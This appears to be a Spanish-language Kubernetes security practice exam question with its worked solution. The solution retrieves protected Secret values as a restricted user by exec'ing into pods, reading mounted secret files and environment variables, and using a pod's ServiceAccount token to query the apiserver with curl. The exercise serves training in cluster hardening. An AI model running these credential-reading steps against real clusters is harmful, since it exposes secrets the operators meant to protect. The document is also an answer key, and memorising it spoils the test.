Pregunta 12 | Hackear Secrets
Usar contexto: kubectl config use-context restricted@infra-prod
Se te pide investigar un posible escape de permisos en el Namespace restricted. El contexto autentica como usuario restricted que solo tiene permisos limitados y no debería poder leer valores de Secret.
Intenta encontrar los valores de password-key de los Secrets secret1, secret2 y secret3 en el Namespace restricted. Escribe los valores de texto plano decodificados en los archivos /opt/course/12/secret1, /opt/course/12/secret2 y /opt/course/12/secret3.
Respuesta:
Primero debemos explorar los límites, podemos intentar:
➜ k -n restricted get role,rolebinding,clusterrole,clusterrolebinding
Error from server (Forbidden): roles.rbac.authorization.k8s.io is forbidden: User "restricted" cannot list resource "roles" in API group "rbac.authorization.k8s.io" in the namespace "restricted"
Error from server (Forbidden): rolebindings.rbac.authorization.k8s.io is forbidden: User "restricted" cannot list resource "rolebindings" in API group "rbac.authorization.k8s.io" in the namespace "restricted"
Error from server (Forbidden): clusterroles.rbac.authorization.k8s.io is forbidden: User "restricted" cannot list resource "clusterroles" in API group "rbac.authorization.k8s.io" at the cluster scope
Error from server (Forbidden): clusterrolebindings.rbac.authorization.k8s.io is forbidden: User "restricted" cannot list resource "clusterrolebindings" in API group "rbac.authorization.k8s.io" at the cluster scope
Pero no hay permisos para ver recursos RBAC. Así que intentamos lo obvio:
➜ k -n restricted get secret
Error from server (Forbidden): secrets is forbidden: User "restricted" cannot list resource "secrets" in API group "" in the namespace "restricted"
➜ k -n restricted get secret -o yaml
apiVersion: v1
items: []
kind: List
metadata:
resourceVersion: ""
selfLink: ""
Error from server (Forbidden): secrets is forbidden: User "restricted" cannot list resource "secrets" in API group "" in the namespace "restricted"
No se nos permite obtener o listar ningún Secret. ¿Qué podemos ver entonces?
➜ k -n restricted get all
NAME READY STATUS RESTARTS AGE
pod1-fd5d64b9c-pcx6q 1/1 Running 0 37s
pod2-6494f7699b-4hks5 1/1 Running 0 37s
pod3-748b48594-24s76 1/1 Running 0 37s
Error from server (Forbidden): replicationcontrollers is forbidden: User "restricted" cannot list resource "replicationcontrollers" in API group "" in the namespace "restricted"
Error from server (Forbidden): services is forbidden: User "restricted" cannot list resource "services" in API group "" in the namespace "restricted"
...
Hay algunos Pods, verifiquemos estos con respecto al acceso a Secret:
k -n restricted get pod -o yaml | grep -i secret
# Esta salida nos proporciona suficiente información para hacer:
➜ k -n restricted exec pod1-fd5d64b9c-pcx6q -- cat /etc/secret-volume/password
you-are
➜ echo you-are > /opt/course/12/secret1
Y para el segundo Secret:
➜ k -n restricted exec pod2-6494f7699b-4hks5 -- env | grep PASS
PASSWORD=an-amazing
➜ echo an-amazing > /opt/course/12/secret2
Sin embargo, ninguno de los Pods parece montar secret3. ¿Podemos crear o editar Pods existentes para montar secret3?
➜ k -n restricted run test --image=nginx
Error from server (Forbidden): pods is forbidden: User "restricted" cannot create resource "pods" in API group "" in the namespace "restricted"
➜ k -n restricted delete pod pod1
Error from server (Forbidden): pods "pod1" is forbidden: User "restricted" cannot delete resource "pods" in API group "" in the namespace "restricted"
# No parece que podamos.
Pero los Pods parecen poder acceder a los Secrets, podemos intentar usar el ServiceAccount de un Pod para acceder al tercer Secret. De hecho podemos ver (como usando k -n restricted get pod -o yaml | grep automountServiceAccountToken) que solo el Pod pod3-* tiene el token ServiceAccount montado:
➜ k -n restricted exec -it pod3-748b48594-24s76 -- sh
/ # mount | grep serviceaccount
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)
/ # ls /run/secrets/kubernetes.io/serviceaccount
ca.crt namespace token
# NOTA: Debes tener conocimiento sobre ServiceAccounts y cómo funcionan con Pods como se describe en la documentación
# Podemos ver toda la información necesaria para contactar al apiserver manualmente:
curl https://kubernetes.default/api/v1/namespaces/restricted/secrets -H "Authorization: Bearer $(cat /run/secrets/kubernetes.io/serviceaccount/token)" -k
...
{
"metadata": {
"name": "secret3",
"namespace": "restricted",
...
}
]
},
"data": {
"password": "cEVuRXRSYVRpT24tdEVzVGVSCg=="
},
"type": "Opaque"
}
...
Vamos a codificarlo y escribirlo en la ubicación solicitada:
➜ echo cEVuRXRSYVRpT24tdEVzVGVSCg== | base64 -d
pEnEtRaTiOn-tEsTeR
➜ echo cEVuRXRSYVRpT24tdEVzVGVSCg== | base64 -d > /opt/course/12/secret3
Esto nos dará:
# /opt/course/12/secret1
you-are
# /opt/course/12/secret2
an-amazing
# /opt/course/12/secret3
pEnEtRaTiOn-tEsTeR
¡Hackeamos todos los Secrets! Puede ser complicado hacer que RBAC esté bien configurado y seguro.
NOTA: Una cosa a considerar es que dar el permiso de "list" Secrets, también permitirá al usuario leer los valores de Secret como usando kubectl get secrets -o yaml incluso sin el permiso "get" establecido.